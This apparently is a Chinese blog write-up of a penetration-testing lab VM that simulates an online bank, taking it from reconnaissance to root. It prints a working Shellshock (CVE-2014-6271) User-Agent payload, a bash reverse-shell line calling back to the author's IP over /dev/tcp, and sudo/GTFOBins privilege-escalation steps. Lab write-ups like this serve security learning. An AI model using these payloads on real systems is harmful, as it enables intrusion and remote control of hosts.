# 前言
这两天不知道为什么,突然对手工很感兴趣,沉迷于各种教学视频,所以我 github 百连好像又断了,很难受,今天这个靶机是一个模拟在线银行系统的靶机,难度不大,被分到中级 emmmm 可能是漏洞老?
# 靶机描述
难度:中等
目标:获取 Root 权限的 sehll
涉及攻击方法:
- 主机发现
- 端口扫描
- WEB 目录爬取
- 开源源码泄漏
- 默认帐号密码
- 业务逻辑漏洞
- SQL 注入
- 破壳漏洞
- GTFOBins 提权
虚拟机:
- 格式: 虚拟机 (Virtualbox OVA)
- 操作系统: Linux.
联网:
- DHCP 服务:已启用
- IP 地址自动分配
# 攻击流程
# 信息收集
两台靶机都是开桥接模式连接到我的手机热点上(校园网不让桥接,哭死),这里先做主机存活发现
然后做主机端口探测
可以看到 22 端口是一个 OpenSSH7.9 的 ssh 服务,80 是一个 Apache2.4.38 的 httpd 服务,这里访问 80 端口先查看一下
一个登录页面,在查看各个页面的源代码的时候,发现了在 news.php 上面有一个 cgi-bin
这里看到这个给我的第一反应就是破壳漏洞(感谢 ctfshow 的折磨)
这里看到返回 403,看来还是有机会利用的,简单扫描一下目录
这里发现有一个 readme.md 文件,访问下载这个文件
很显然这是一个在 github 上面开源的项目,zakee94/online-banking-system: Online banking system in PHP & MySQL accompanied by a beautiful website ! (github.com)
翻阅这个项目的时候看到了这样的信息
很可惜登录失败了,当然这只是普通用户的登录失败了
admin_login.php 的登录是十分顺利的,登录上来后,看见了有四个用户
也尝试去登录了一下,也没有成功
# 破壳漏洞
这边也是翻了很多的地方,都没有找到能突破边界的方法,所以我又将目光放回到刚刚提到的破壳漏洞,扫描一下 cgi-bin 目录下的文件
虽然他 500,但是这证明是有这个文件的,但是服务器对请求出现了问题,这个文件名也无法让人不去关注
这里使用 nmap 对破壳漏洞的检测脚本做一个扫描
nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.13.194 |
可以看到存在破壳漏洞,而且可以利用,cve2014-6271,在 ua 头中使用 payload
() { :; }; echo; echo; /bin/bash -c 'whoami' |
可以看到命令成功执行了,接下来反弹一个 shell
() { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.13.249/4444 0>&1' |
# 提权
这里看到 sudo 权限配置,有一个 sh 脚本是不需要密码的
去详细看一下这个文件
发现没有权限,这里 sudo 来直接执行这个文件
但是很奇怪一直有点问题,不知道要干什么,我翻阅了一下别人的文档,发现我忘记升级 shell 了
python3 -c 'import pty;pty.spawn("/bin/bash")' |
好吧,突然就合理了,这里可以看到,会将 massage 中的命令执行,这里直接执行 bash
这里就拿到了一个高一点的权限
这里查看的时候发现了 cat 和 service 不用密码可以 sudo,这里见到 server 可以就直接宣布下班了